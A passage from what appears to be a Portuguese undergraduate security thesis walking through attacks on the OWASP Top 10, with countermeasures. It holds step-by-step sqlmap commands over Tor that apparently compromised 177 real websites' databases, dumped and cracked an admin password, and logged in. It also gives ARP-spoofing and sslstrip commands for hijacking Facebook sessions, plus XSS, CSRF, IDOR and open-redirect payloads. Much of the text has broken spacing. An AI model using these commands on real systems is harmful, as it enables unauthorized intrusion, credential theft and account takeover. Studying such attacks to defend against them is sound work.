Como resultado do comando descrito no quadro 26 foram enumeradas 177 bases de
dados de 177 stios Web diferentes, deixando todos os 177 stios Web comprometidos. O resul-
tado parcial apresentado no quadro 27;
Pl a c e : GET
Pa r a me t e r : i d
Type : UNION quer y
T i t l e : MySQL UNION quer y (NULL) 9 col umns
Payl oad : i d =4094 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, CONCAT
( 0 x7162616571 , 0 x45705862745a6e654966 , 0 x71747a6971 ) , NULL, NULL#

web a p p l i c a t i o n t e c hnol ogy : Apache , PHP 5 . 3 . 2 4


backend DBMS: MySQL 5 . 0 . 1 1
c u r r e n t us e r : xxxxwebadmi n@l ocal host
sql map i d e n t i f i e d t he f o l l o wi n g i n j e c t i o n p o i n t s wi t h a t o t a l of 0 HTTP( s ) r e q u e s t s :

Pl a c e : GET
Pa r a me t e r : i d
Type : UNION quer y
T i t l e : MySQL UNION quer y (NULL) 9 col umns
Payl oad : i d =4094 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, CONCAT
( 0 x7162616571 , 0 x45705862745a6e654966 , 0 x71747a6971 ) , NULL, NULL#

web a p p l i c a t i o n t e c hnol ogy : Apache , PHP 5 . 3 . 2 4


backend DBMS: MySQL 5 . 0 . 1 1
a v a i l a b l e d a t a b a s e s [ 1 7 7 ] :
[ ] i i c _ a c o r x x x
[ ] i i c_advmxxxx
[ ] i i c _ a l t a _ p e r x x x x x
[ ] i i c_amxxxx
[ ] i i c_babxxxxxx
[ ] i i c_bxxxxxxvo
[ ] i i c _ b e l x x x x
[ ] i i c_bxxxxx_novo2
[ ] i i c _ b x x x x x o l o r
[ ] i i c _ c x x x x x a t o
. . . 160 ba s e s de dados o mi t i d a s .
Quadro 27: Resultado da execuo SQLMap (quadro 26)
47
O prximo passo foi a seleo de outra base de dados para explorao. Na enumera-
o das tabelas da base de dados selecionada foi utilizado o comando descrito no quadro 28.
Adicionalmente o parmetro -p especica o parmetro usado para injeo, o parmetro -D es-
pecica a base de dados selecionada e o parmetro tables indica ao arcabouo a enumerao
das tabelas da base de dados.
sql map t o r t or t ype =SOCKS5 checkt o r r a r q u i v o _ r e q u i s i c a o _ h t t p . t x t
t e c h n i q u e U p i d dbs D i i c _e l xxxx_xxx t a b l e s
Quadro 28: Comando utilizado para listar tabelas do banco de dados
O resultado do comando descrito no quadro 28 retornou 32 resultados, sendo assim
possvel com uma simples busca determinar o endereo do stio Web no qual base de dados
estava sendo minerada (quadro 29).
[ 0 7 : 0 3 : 2 4 ] [ INFO] f e t c h i n g t a b l e s f o r d a t a b a s e : i i c _e l xxxx_xxx
[ 0 7 : 0 3 : 2 4 ] [ INFO] t he SQL quer y used r e t u r n s 32 e n t r i e s
Dat abas e : i i c _e l xxxx_xxx
[ 32 t a b l e s ]
++
| a t i v a c a o |
| a t i v a c a o _ d a t a _ a t u a l |
| a t i v a c a o _ d a t a _ l i mi t e |
| banner |
| b i b l i a |
| c a d a s t r o |
| c a s a di nho |
| c l i e n t e |
| c o n t a t o |
| i n s t i t u c i o n a l |
| i n s t i t u c i o n a l _ a n e x o |
| i n s t i t u c i o n a l _ a u d i o |
. . . 20 t a b e l a s o mi t i d a s . .
[ 0 7 : 0 3 : 2 4 ] [ INFO] f e t c h e d da t a l ogged t o t e x t f i l e s under
/ us r / s ha r e / sql map / out put / xxxxxx . com. br
[ ] s h u t t i n g down a t 07: 03: 24
Quadro 29: Resultado da execuo SQLMap (quadro 28)
De posse dos nomes das tabelas do banco de dados buscou-se listar as estruturas de
tabelas sensveis, como a tabela dos usurios administrativos que ento poderia dar acesso a
rea administrativa do stio Web em questo. Utilizando o comando descrito no quadro 30,
foi possvel listar a estrutura da tabela alvo. Adicionalmente, o parmetro columns lista da
48
estrutura das tabela e o parmetro -T informa ao arcabouo a tabela alvo, no especicando a
tabela selecionada para o arcabouo, o comando retornar a estrutura de todas as tabelas da base
de dados.
sql map t o r t or t ype =SOCKS5 checkt o r r a r q u i v o _ r e q u i s i c a o _ h t t p . t x t t e c h n i q u e U p i d
dbs D i i c _e l xxxx_xxx col umns T pe s s oa
Quadro 30: Comando utilizado para listar estrutura da tabela alvo.
O quadro 31 ilustra a estrutura da tabela pessoa, a quantidade de colunas, o nome das
mesmas e os tipos de dados de cada coluna.
Dat abas e : i i c _e xxxxo_c xx
Tabl e : pe s s oa
[ 7 col umns ]
+++
| Column | Type |
+++
| i d | i n t ( 10) |
| i d _ c l i e n t e | i n t ( 10) |
| i d _ s i s t e ma | i n t ( 10) |
| l o g i n | v a r c h a r ( 255) |
| modulo | v a r c h a r ( 255) |
| nome | v a r c h a r ( 255) |
| s enha | v a r c h a r ( 255) |
+++
Quadro 31: Resultado da execuo do SQLMap (quadro 30).
Aps a identicao da estrutura da tabela pessoa, iniciou-se o processo de extrao de
dados da mesma. O comando descrito no quadro 32 extrai os dados das colunas selecionadas.
Adicionalmente o parmetro -D indica a base de dados alvo, o parmetro columns -C informa
as colunas a serem mineradas e, por ltimo, o parmetro dump indica a extrao de dados da
tabela pessoa.
sql map t o r t or t ype =SOCKS5 checkt o r r a r q u i v o _ r e q u i s i c a o _ h t t p . t x t t e c h n i q u e U p i d
dbs D i i c _e l xxxx_xxx col umns C l ogi n , s enha dump
Quadro 32: Comando utilizado para extrair dados da tabela pessoa.
O resultado do comando descrito no quadro 32 visualizado no quadro 33 com os
dados de autenticao e o hash da senha do nico usurio administrativo do sistema. O tipo de
espalhamento utilizado no armazenamento da senha MD5. Logo foi iniciada a tentativa de
49
ataque de fora bruta ao hash da senha. Para o teste de quebra do hash por meio de fora bruta
foi utilizado o software John The Ripper (ANDERSON, 2014) com suporte a Interface de Troca
de Mensagens do ingls Message Passing Interface MPI (SQUYRES; LUMSDAINE, 2004).
Dat abas e : i i c_exxxxx_xxx
Tabl e : pe s s oa
[ 1 e n t r y ]
+++
| l o g i n | s enha |
+++
| e l e xxx | e0a27f 118099bae837448136b3cc3882 |
+++
[ ] s h u t t i n g down a t 20: 41: 36
Quadro 33: Dados minerados da tabela pessoa.
Os testes de execuo com o John The Ripper foram executados em uma mquina
virtual com sistema operacional Ubuntu 13.04 hospedada uma um computador com sistema
operacional Windows 8 e processador intel core i3 com 4 GB de memria. Utilizando o co-
mando descrito no quadro 34 iniciou-se o ataque ao hash da senha.
mpi exec np 3 . / j ohn f or mat : rawMD5 cr ackme1 . md
Quadro 34: Comando John The Ripper para incio de ataque de fora bruta.
O comando descrito no quadro 34 executa o programa John The Ripper informando o
hash da senha gravado no arquivo crackme1.md. O comando mpiexec indica que a execuo do
algoritmo de ataque de fora bruta ser executado utilizando a biblioteca MPI, o parmetro -np
indica a quantidade de processadores virtuais a serem alocados para execuo do algoritmo, o
comando ./john inicia o algoritmo de ataque seguido pelo parmetro format:raw-MD5 infor-
mando o tipo de criptograa do hash a ser quebrado.
Loaded 1 passwor d hash ( Raw MD5 [ rawmd5 SSE2 ] )
Loaded 1 passwor d hash ( Raw MD5 [ rawmd5 SSE2 ] )
Loaded 1 passwor d hash ( Raw MD5 [ rawmd5 SSE2 ] )
@dmc1@ ( us e r )
t h r e a d : 2 gue s s e s : 1 t i me : 1 : 0 7 : 1 1 : 5 6 100\% ( 2 ) c / s : 17485 t r y i n g : @dmcw @dmch
. . . .
Quadro 35: Hash quebrado utilizando John The Ripper.
50
O resultado do comando descrito no quadro 34 pode ser visto no quadro 35, com
o sucesso na quebra do hash por meio de fora bruta depois de 1 dia 7 horas 11 minutos e
56 segundos. Cabe ressaltar que apenas uma thread das trs em execuo teve sucesso na
descoberta da senha.
Com a descoberta do texto da senha foi executado um teste de autenticao no sis-
tema atacado na rea administrativa para conrmar a senha descoberta. Com o resultado foi
obtido acesso completo a rea administrativa do stio, com controle total de todos os recursos
da aplicao Web. A Figura 20 mostra o acesso a rea administrativa do stio Web alvo.
Figura 20: Teste de autenticao ao stio Web atacado
Com base nos resultados dos testes executados comprovou-se a gravidade das vulne-
rabilidades de injeo de SQL nas aplicaes Web, podendo comprometer no somente a apli-
cao alvo, mas como vericado com os resultados dos testes executados, uma infraestrutura
inteira de hospedagem de aplicaes Web.
As falhas de injeo de SQL nas aplicaes Web ocorrem principalmente pelo no tra-
tamento de entradas do usurio, como campos de formulrios no validados no lado do servidor.
Segundo a OWASP uma das principais contramedidas a validao dos dados de entrada do
usurio (WICHERS, 2014). At mesmo os campos de formulrios pr denidos como combo-
box, que mesmo com contedo esttico, podem ser alterados por atacantes e assim encaminhar
cdigo SQL malicioso sem nenhum tipo de validao para o servidor. De uma forma geral, a
soluo para a vulnerabilidade a validao de dados antes de encaminhar os mesmos para a
consulta SQL (WICHERS et al., 2014).
51
3.2.2.2 EXPLORAO DE QUEBRA DE AUTENTICAO E GERENCIAMENTO DE
SESSO.
Para o ataque de quebra de gerenciamento de sesso foi escolhido a modalidade de
Hijacking Attack , ou seja, roubo de sesso, no ataque foram utilizados a distribuio Linux
Kali, com o navegador Iceweasel quem padro no sistema kali com a extenso Greasemonkey
e Cookie injector para Greasemonkey juntamente com Wireshark para captura de pacotes na
rede e programas como SSLStrip e Arpspoof.
Inicialmente, o redirecionamento de pacotes ativado usando o comando descrito no
item 1 do quadro 36. O comando echo 1 habilita o processo de redirecionamento de pacotes,
o prximo passo foi criar uma regra no iptables que redirecionaria o trfego da porta 80 para a
8080, como segue comando descrito no item 2 do quadro 36. O comando iptables -t <table> -A
PREROUTING adiciona um ltro tabela nat, o parmetro -p dene o tipo de protocolo ao qual
a regra se destina, o parmetro - -destination-port 80 especica a porta de destino do protocolo,
o parmetro -j especica a ao a ser executada, no caso em questo, o parmetro REDIRECT
redireciona para o destino especicado com o parmetro - -to-port 8080.
1 echo 1 > / pr oc / s ys / ne t / i pv4 / i p_f or wa r d
2 i p t a b l e s t na t A PREROUTING p t c p d e s t i n a t i o n p o r t 80 j REDIRECT t op o r t 8080
3 s s l s t r p a l 8080
Quadro 36: Lista de comandos executados para o ataque de Quebra de Autenticao e Gerencia-
mento de Sesso .
O ataque utilizando SSLStrip foi executado iniciando a monitorao de todo o trfego
da rede. O comando est descrito no quadro 36 no item 3, o comando sslstrip inicia a captura
do trfego da rede local, o parmetro -a registra todo o trfego HTTPS capturado e o parmetro
-l indica a porta monitorarada.
Durante a execuo do SSLStrip necessrio a realizao de um ARP-Poisoning de
com o intuito realizar um ataque Man-In-The-Middle, posicionando assim o atacante entre a
vtima e o roteador. O comando arpspoof inicia o ARP-Poisoning o parmetro -i indica a
interface de rede, o parmetro -t indica o alvo do ARP-Poisoning, alm do endereo IP dos alvo
(ver quadro 37).
52
1 a r ps poof i wl an0 t <i p_do_al vo > <i p_do_r ot e a dor >
2 a r ps poof i wl an0 t <i p_do_r ot e a dor > <i p_do_al vo >
Quadro 37: Comandos para realizao de ARP-Poisoning.
O programa Wireshark foi utilizado para anlise dos pacotes de rede aps o inicio
do ARP-Poisoning. Com o Wireshark monitorando o trfego foi preciso criar um ltro para
visualizar apenas os pacotes da rede que contenham cookies. Para tal foi utilizado o ltro
descrito no quadro 38.
h t t p . cooki e c o n t a i n s d a t r
Quadro 38: Sintaxe ltro Wireshark.
A partir do incio do ltro qualquer cookie que contenha o texto datr caracterstico
do cookie do facebook ser exibido na tela do Wireshark. Quando o cookie capturado basta
clicar com o boto direito do mouse e ser exibida a uma opo Copy > Bytes > Printable Text
Only, como segue Figura 21. A partir dai o cookie da sesso ativa do usurio esta disponvel
na rea de transferncia do computador, sendo assim possvel injet-lo em um navegador e
consequentemente ter acesso a conta do facebook da vtima.
Figura 21: Extrao Cookie com Wireshark
53
O cookie injetado no navegador Iceweasel disponvel no Kali Linux e a extenso Gre-
asemonkey juntamente com Cookie injector para Greasemonkey. Depois de acessar a pgina
www.facebook.com utiliza-se o comando ALT+C para abrir a interface de injeo do Cookie in-
jector e ento utiliza-se CTRL+V para colar o cookie como passo 1 da Figura 22, aps a injeo
do cookie com sucesso como passo 2 da Figura 22, ao recarregar a pgina, tem-se total acesso
a conta da vtima como exemplicado no passo 3 da Figura 22.
Figura 22: Processo de injeo
Os teste executado demonstrou a fragilidade do uso dos cookies no criptografados
sendo transmitidos na rede. O mesmo teste foi executado tendo como alvo usurios do Gmail
mas no foi obtido sucesso na xao de sesses.
Os passos desse ataque foram baseados em (ALEXANDRE, 2014), com acrscimo da
explicao dos passos e os detalhes tcnicos sobre o ataque.
As formas de evitar a quebra Quebra de Gerenciamento de Sesso segundo a OWASP
por meio da utilizao de padres conveis de autenticao e gerenciamento de sesso. Um
desses padres a autenticao de dois fatores, que combina o nome de usurio/senha com
um token ou certicado predenido para o navegador do usurio. Outra forma a aplicar
criptograa no uso de cookies, que mesmo sendo interceptados em uma rede no podero ser
utilizados em outros navegadores (KAZEROONI; CUTHBERT, 2009).
54
3.2.2.3 EXPLORAO DE SCRITS ENTRE SITES (XSS).
A explorao de Scripts entre Sites (XSS) foi realizada utilizando o ambiente de testes
Mutillidae (OWASP, 2013c), disponibilizado pela OWASP para demonstrar vulnerabilidades
Web. O teste demonstra a vulnerabilidade XSS do tipo persistente em publicaes de um blog.
O ataque ento realizado escrevendo o cdigo javascript e adicionando entradas no blog.
Nos testes realizados com o ambiente Mutillidae foi executado um ataque ao prprio
blog atravs do cdigo malicioso descrito no quadro 39, que realiza um ataque de desgurao
do blog. O cdigo javascript adiciona ao elemento body da pgina html as marcaes esco-
lhidas para desgurao da aplicao no momento que os usurios visualizarem a pgina de
publicaes.
< s c r i p t >
ht ml = < c e nt e r ><h1>Def ace Ut i l i z a n d o XSS P e r s i s t e n t e <br >UTFPR TCC 2014<br >
<hr >Wagner Apar eci do Mont everde </ h1 ></ c e nt e r ><br ><br ><c e nt e r ><hr >Wagner Apar eci do Mont ever de
</ c e nt e r ><hr ><br > ;
window . document . body . innerHTML=ht ml ;
</ s c r i p t >
Quadro 39: Cdigo javascript XSS Persistente
Os usurios assim que visualizarem as publicaes sofrero o ataque. A Figura 23
apresenta o resultado do ataque.
Figura 23: Deface utilizando XSS
55
Apesar do teste realizado ser a desgurao do prprio stio Web, ataques XSS podem
roubar informaes sensveis do usurio como cookies, informaes de usurio e senha entre
outras, alm de redirecionar o usurio para stios Web maliciosos. No teste executado foi uti-
lizado javascript mas ataques XSS pode ser deferidos utilizando outras linguagens de script
como ActiveX.
Umas das opes para evitar ataques XSS ltrar dados no conveis no contexto
HTML, ou seja, o corpo da pgina, seus atributos, seu contexto javascript, folhas de estilos e
URLs contidas na pgina (WILLIAMS et al., 2014). Outra forma pela validao de dados
de entrada, que veriquem tamanho de dados caracteres especiais antes de aceitar a entrada
do dado (WICHERS, 2014). A forma mais eciente ainda desativar a execuo javascript,
entretanto com o dinamismo das aplicaes Web modernas essa opo se torna praticamente
impossvel.
3.2.2.4 EXPLORAO DE REFERNCIA INSEGURA A OBJETO DIRETO.
Nesta seo foram executados testes de explorao de Referncia Insegura a Objeto
Direto, utilizando uma pgina de visualizao de cdigo fonte do ambiente Mutillidae como
segue Figura 24.
Figura 24: Pgina de visualizao de Cdigo Fonte Mutillidae.
Utilizando o navegador Mantra (BALAKRISHNAN, 2014) juntamente coma extenso
Live HTTP Headers, que exibe o cabealho das requisies feitas como navegador, e utilizando-
se da opo de repetio, foi possvel visualizar o cdigo fonte de algumas pginas do ambiente
56
Mutillidae. A URL capturada pelo Live HTTP Header apresentada no quadro 40.
h t t p : / / t c c mu t i l l i d a e . n e t a i . ne t / i ndex . php ? page=s our ce vi ewer . php
&p h p f i l e = s e c r e t a d mi n i s t r a t i v e pages . php&s our ce f i l e vi ewer phpsubmi t but t on =View+ F i l e
Quadro 40: URL manipulada para refereciar objetos internos da aplicao Web.
Quando alterado o parmetro phple, por qualquer outro arquivo PHP da aplicao
e utilizando a funo de repetio do Live HTTP Header, possvel encaminhar o pedido de
visualizao do fonte da pgina referenciada no parmetro alterado, como segue na Figura 25.
Figura 25: Live HTTP Header funo replay.
O resultado da funo de repetio pode ser vista na Figura 26 com o cdigo fonte da
pgina secret-administrative-pages.php passada por parmetro no lugar do parmetro original.
57
Figura 26: Resultado da alterao de parmetro da requisio
O impacto da Referncia Insegura a Objeto Direto pode ir desde a acessos a recursos e
informaes sensveis da aplicao at a escalada de privilgios acessando reas administrativas
atravs de links referenciados diretamente na aplicao.
Aproteo contra Referncia Insegura a Objeto Direto requer umtratamento especco
de validao e conrmao de acesso para cada objeto acessado pelo usurio, seja um nmero
na URL ou at mesmo um nome de arquivo. Outra medida de segurana ainda utilizar refe-
rncias indiretas aos objetos de forma que os usurios ou sesses especcas que no apontem
diretamente para o objeto, evitando assim a manipulao pelo usurio nal (KAZEROONI;
CUTHBERT, 2009).
3.2.2.5 EXPLORAO CONFIGURAO INCORRETA DE SEGURANA.
Durante os testes de injeo de SQL descrito na subseo 3.2.2.1, foi descoberto uma
falha de Congurao Incorreta de Segurana, depois da invaso realizada pode-se constatar
177 bases de dados utilizando o mesmo usurio do SGBD. Com o acesso a apenas uma apli-
cao obteve-se acesso a mais 176 aplicaes comprometendo toda a infraestrutura da empresa
responsvel pelas bases de dados. O quadro 41 ilustra as primeiras 10 bases encontradas.
58

web a p p l i c a t i o n t e c hnol ogy : Apache , PHP 5 . 3 . 2 4


backend DBMS: MySQL 5 . 0 . 1 1
a v a i l a b l e d a t a b a s e s [ 1 7 7 ] :
[ ] i i c _ a c o r x x x
[ ] i i c_advmxxxx
[ ] i i c _ a l t a _ p e r x x x x x
[ ] i i c_amxxxx
[ ] i i c_babxxxxxx
[ ] i i c_bxxxxxxvo
[ ] i i c _ b e l x x x x
[ ] i i c_bxxxxx_novo2
[ ] i i c _ b x x x x x o l o r
[ ] i i c _ c x x x x x a t o
. . . 160 ba s e s de dados o mi t i d a s .
Quadro 41: Bases de dados descobertas durante ataque.
Uma forma de vericar se os stios Web esto hospedando servios desatualizados ou
com uma congurao incorreta de segurana e ainda a existncia de rewall, executar uma
varredura utilizando o Nmap. A utilizao do Nmap pode ser vista na subseo 3.1.4.
Evitar a Congurao Incorreta de Segurana trata-se de estabelecer uma poltica de
segurana para congurao de artefatos de software, comeando pelo no uso de senhas pa-
dres emsistemas, e passando por conguraes prprias para cada aplicao Web. Outra forma
de evitar tal vulnerabilidade manter softwares atualizados incluindo sistemas operacionais e
componentes de terceiros utilizados, na infraestrutura e na prpria aplicao (GUIDE, 2013).
3.2.2.6 EXPLORAO DE EXPOSIO DE DADOS SENSVEIS.
Os testes de explorao de Exposio de Dados Sensveis foram realizados usando o
software Subterfuge (TOUSSAIN; SHIELDS, 2014) que automatiza todo processo de ataque
Man-in-the-Middle. Os testes foram realizados em um ambiente controlado com uma rede sem
o privada e todos os dados capturados so dados de contas prprias.
59
Figura 27: Captura de dados sensves com Subterfuge
Inicializando o Subterfuge preciso apenas esperar at que se capture algum dado re-
ferente a autenticao na rede alvo. Nos testes executados foram capturados dados referente
a autenticao de usurios no stio http://moodle.cm.utfpr.edu.br/ e ainda um usurio do face-
book mobile que teve suas credenciais capturadas pelo aplicativo. A Figura 27 ilustra os dados
capturados.
Evitar acesso a dados sensveis da aplicao, mesmo que em trnsito, pode ser mi-
nimizado utilizando algoritmos de criptograa forte. Mesmo a utilizao de criptograa, se
fraca, pode comprometer os dados em trnsito ou em repouso. No armazenar dados desneces-
srios e descart-los logo aps utiliz-los so formas de evitar a exposio, tendo em vista que
os mesmos possam ser acessados por terceiros. Outra precauo desabilitar o autocompletar
dos formulrios das aplicaes Web que podem revelar dados como nomes de usurios. O uso
de algoritmos de criptograa ecientes para armazenamento de senhas dicultam o acesso as
mesmas (KAZEROONI; CUTHBERT, 2009).
3.2.2.7 EXPLORAO DE FALTA DE CONTROLE EM NVEL DE ACESSO.
Para realizao dos teste de explorao de Falta de Controle em Nvel de Acesso foi
construda uma pequena aplicao exemplo contendo a vulnerabilidade. A aplicao se resume
em duas pginas, uma pgina inicial institucional e outra pgina de administrao do sistema.
A pgina inicial da aplicao e a pgina administrativa podem ser vistas na Figura 28.
60
Figura 28: Aplicao exemplo Falta de Controle em Nvel de Acesso
O administrador do sistema ao realizar a autenticao preenchendo suas credenciais
na pgina inicial direcionado para pgina de administrao do sistema. A URL inicial da
aplicao pode ser vista no item 1 do quadro 42.
1 h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / mi s s i ng /
2 h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / mi s s i ng / admin / c o n t r o l Pa n e l
Quadro 42: URLs da aplicao com Falta de Controle em Nvel de Acesso.
Acessando a URL indicada no item2 do quadro 42 mesmo semefetuar a autenticao o
atacante ter acesso a rea administrativa da aplicao poder realizar qualquer alterao em seu
contedo. A falta de Controle no Nvel de Acesso da Aplicao pode comprometer totalmente
a integridade da aplicao Web, pelo seu uso por pessoas no autorizadas.
Para evitar a Falta de Controle em Nvel de Acesso, a aplicao deve ter uma processo
de vericao em todos os contextos assegurando o acesso do recurso correto para cada nvel de
usurio da aplicao. Essa vericao na maioria dos casos efetuada na camada de viso da
aplicao na exibio de recursos especcos para cada usurio, como menus adequados para
cada tipo de usurio, mas de extrema importncia a vericao implementada em um con-
trolador central para evitar falhas oriundas da Falta de Controle em Nvel de Acesso (OWASP,
2009).
61
3.2.2.8 EXPLORAO DE FALSIFICAO DE SOLICITAO ENTRE SITES.
Aexplorao de Falsicaes de Solicitaes entre Sites realizado usando o ambiente
testes Damn Vulnerable Web App DVWA (RANDOMSTORM; DEWHURST., 2014), uma apli-
cao Web contendo inmeras vulnerabilidades Web. Entre essas vulnerabilidades apresenta-se
a CSRF. Os testes foram realizados utilizando o formulrio de alterao de senha do usurio do
sistema. No teste executado o atacante tambm possua acesso aplicao Web. Por meio da
anlise do cdigo fonte da aplicao foi possvel vericar o formulrio de envio das informaes
como segue o quadro 43.
<h3>Change your admi n passwor d : </ h3>
<br >
<form a c t i o n ="#" met hod ="GET"> New passwor d : < br >
<i n p u t t ype =" passwor d " AUTOCOMPLETE=" o f f " name=" password_new"><br >
Conf i r m new passwor d : <br >
<i n p u t t ype =" passwor d " AUTOCOMPLETE=" o f f " name=" pas s wor d_conf ">
<br >
<i n p u t t ype =" s ubmi t " va l ue =" Change " name=" Change ">
</ form>
Quadro 43: Cdigo fonte do formulrio de mudana de senha
Utilizando os dados contidos no cdigo fonte do formulrio possvel montar uma
requisio e disponibiliz-la atravs de um link que, quando a vtima clicar, ir executar a ao
de envio das informaes para alterao da senha. O cdigo malicioso contendo o link pode ser
visto no quadro 44.
<h3>Quer Pe r de r Peso ? </ h3>
<br >
<c e nt e r ><a h r e f =" h t t p : / / 1 2 7 . 0 . 0 . 1 / DVWA1. 0. 8/ v u l n e r a b i l i t i e s / c s r f / ? password_new
=ds as d&pas s wor d_conf =s ds ad&Change=Change #" >
<img s r c =" imagemexemplo . j pg " a l t =" Smi l ey f a c e ">
</ a ></ c e nt e r >
Quadro 44: Cdigo fonte do link malicioso utilizando imagem
Depois de construdo o link, o mesmo enviado a usurios do sistema em questo e
quando o usurio do sistema clicar no link descrito no item 1 da Figura 29, ser redirecionado
para a pgina de mudana de senha juntamente com os parmetros contidos no link sua senha
ser alterada instantaneamente como segue passo 2 da Figura 29.
62
Figura 29: Link malicioso e resultado do click
Os testes executados foram redirecionaram o usurio para a pgina de mudana de se-
nha sem seu conhecimento, mas outras variantes poderiam utilizadas se aproveitando do clique
no link por parte do usurio, por exemplo, obter um software malicioso ou at mesmo roubar
cookies da sesso do mesmo.
Uma das principais formas de evitar o CSRF por meio da utilizao de tokens nicos
em cada requisio HTTP, evitando assim aes feitas em nome do usurio por terceiros. Outra
opo incluir funes de conrmao de usurio e senha para operaes sensveis dentro
da aplicao, como mudana de senha e outras operaes do usurio dentro da aplicao. A
utilizao de CAPTCHA para provar que realmente um usurio que est realizando a operao
e no somente uma requisio HTTP, tambm uma forma de prevenir o ataque (PETEFISH et
al., 2014).
3.2.2.9 EXPLORAO DE COMPONENTES COM VULNERABILIDADES CONHECI-
DAS.
Nas varreduras executadas nos stios Web foi encontrado um caso de uma aplicao
que apresentava uma vulnerabilidade decorrente de componentes de software de terceiros. O
stio Web analisado apresentava uma instncia do CMS Wordpress que em seu mdulo princi-
pal, na verso atualizada, no apresentava a vulnerabilidade. A falha encontrada no stio Web
foi do tipo de injeo de SQL, causada pela instalao de uma extenso que altera o tema pa-
dro do mesmo deixando a aplicao vulnervel a ataques de injeo. E, como visto na seo
63
3.2.2.1, pode facilmente ser explorada. Os testes de Explorao de Componentes com Vulne-
rabilidades Conhecidas no foram realizados por se tratar de uma aplicao Web real e por no
ter sido obtida autorizao para explorao da mesma. Neste caso, as vulnerabilidades foram
enumeradas e informadas aos administradores do stio Web.
Uma opo para evitar falhas decorrentes de Componentes com Vulnerabilidades Co-
nhecidas manter um rigoroso processo de testes de componentes de terceiros acoplados a apli-
cao para identicao de falhas de segurana. Manter componentes utilizados sempre com a
verso atualizada so formas de sanar as falhas decorrentes de verses antigas. E quando for
apropriado, garantir os componentes de terceiros com vericaes de segurana antes de passar
dados ou controle para esses componentes. A maneira ideal seria a no utilizao de bibliotecas
e componentes de terceiros, mas isso no aceitvel nos processos atuais de desenvolvimento
(WILLIAMS; DABIRSIAGHI, 2012).
3.2.2.10 EXPLORAO DE ENCAMINHAMENTO DE REDIRECIONAMENTO INVA-
LIDADOS.
A explorao de Encaminhamento de Redirecionamento Invalidado foi realizado no
ambiente de testes Mutillidae, que contm uma URL que executa redirecionamentos internos
na aplicao. Utilizando-se dessa URL possvel manipular seus parmetros para um redire-
cionamento externo, como segue URL descrita no quadro 45 com o parmetro alterado para
redirecionar para a URL www.google.com.
h t t p : / / t c c mu t i l l i d a e . n e t a i . ne t / i ndex . php ? page= r e d i r e c t a n d l o g . php&amp ; f o r wa r d u r l =
h t t p s : / / www. googl e . com
Quadro 45: URL com parmetro com redirecionamento para www.google.com
O teste realizado constituiu e enviar o link por email para a vtima, sendo que o ende-
reo do descrito no link aponta para um endereo Web conhecido. Ao clicar no link o navegador
da vtima inicia o carregamento com o link legtimo, mas aps alguns segundos a vtima redi-
recionada para URL www.google.com.
Umas das formas de se evitar Encaminhamento de Redirecionamento Invalidados
simplesmente no utilizar redirecionamentos explcitos com parmetros na URL. Se os par-
metros no podem ser evitados, vericar ento se o parmetro vindo realmente vlido e
autorizado para o usurio em questo. Sugere-se ainda que os valores passados por parmetros
sejam mapeados para outros valores no utilizando assim internamente os valores passados por
parmetro no momento da requisio (OWASP, 2013b).
64
3.3 CONSIDERAES FINAIS
Este captulo abordou a anlise de segurana dos stios Web enumerando as princi-
pais vulnerabilidades encontradas, bem como execuo da explorao das falhas encontradas
delimitadas pelo OWASP Top 10. Tambm foram abordadas contramedidas de segurana para
mitigar as vulnerabilidades descritas. Todas as falhas encontradas foram reportadas aos admi-
nistradores dos stios, grande parte dos administradores reportados deram pouca importncia a
falha reportada mesmo sendo uma falha grave. E em alguns casos as falhas reportadas ainda
esto sem correo
65
4 CONCLUSES E TRABALHOS FUTUROS
O presente trabalho abordou as principais vulnerabilidades Web, e ressaltou que a utili-
zao de ferramentas livres com pouco conhecimento tcnico possvel explorar as vulnerabili-
dades com certa facilidade, demonstrando assim o grau de severidade das vulnerabilidades Web
conhecidas e abordadas no OWASP Top 10. Essas vulnerabilidades exemplicam quanto o de-
senvolvedor de aplicaes Web deve estar atento as possveis falhas durante o desenvolvimento
e todo o seu ciclo de vida.
Durante as exploraes dessas vulnerabilidades, uma delas comprometeu cerca de 177
aplicaes Web de uma mesma empresa, cabe ressaltar que apenas uma falha de uma aplicao
comprometeu as demais. A explorao das vulnerabilidades contidas no OWASP Top 10 foram
executadas principalmente com a utilizao de arcabouos, que automatizaram a maior partes
dos ataques, e o nvel de diculdade de utilizao dos mesmos relativamente baixo. O que
demonstra que qualquer indivduo com o mnimo de conhecimento tcnico capaz de explorar
as vulnerabilidades encontradas nesta anlise.
As varreduras das aplicaes Web identicaram vrias falhas nos stios analisados,
cerca de 33% das vulnerabilidades encontradas foram classicadas como severas pelo grau de
classicao de riscos descrito no OWASP Top 10. O grau de diculdade de explorao de
vulnerabilidades severas descrito pela OWASP considerado como de fcil explorao, o que
destaca ainda mais o cuidado durante o desenvolvimento para evitar esse tipo de vulnerabili-
dade. A outra parte das vulnerabilidades 67% e so classicadas como moderadas e de nvel
de explorao considerada como difcil, mas com ajuda dos arcabouos tambm podem ser
exploradas por usurios com pouco conhecimento tcnico.
Vrios problemas foram encontrados durante execuo das varreduras nos stios Web.
A utilizao de Web Scanners durante as exploraes gerou um excesso de requisies HTTP
para os endereos analisados causando por mais de uma vez o bloqueio do acesso a Internet
por parte do provedores acesso. Problemas como envio de emails em massa para usurios de
aplicaes Web analisadas impediram o trmino da exploraes em stios especcos, causando
66
assim transtornos para os usurios das aplicaes.
Como trabalhos futuros recomenda-se o estudo e estabelecimento de mtricas de se-
gurana que possam auxiliar desenvolvedores e mantenedores de aplicaes Web a gerir vul-
nerabilidades e riscos oriundos de erros no ciclo de desenvolvimento que possam resultar em
falhas crticas em aplicaes Web. Tambm recomenda-se o estudo cada falha descrita no Top
Ten individualmente explorando cada falha minuciosamente em trabalhos distintos.
67
REFERNCIAS
ALEXANDRE, B. Hackeando Facebook com Wireshark e Cookie Injector. 2014. Aces-
sado em 27-02-2014. Disponvel em: http://www.brutalsecurity.com.br/2013/05/
hackeando-facebook-com-wireshark-e.html.
ANDERSON, J. John The Ripper MPI Patch. http://www.bindshell.net/tools/johntheripper.html:
[s.n.], 2014. Acesso em: 16 fev. 2014. Disponvel em: http://www.bindshell.net/tools/
johntheripper.html.
ARES. Intercepter-NG @ONLINE. 2013. Acesso em: 17 set. 2013. Disponvel em: http:
//intercepter.nerf.ru/.
BALAKRISHNAN, A. M. Mantra - Security Framework. 2014. Acessado em 19-02-
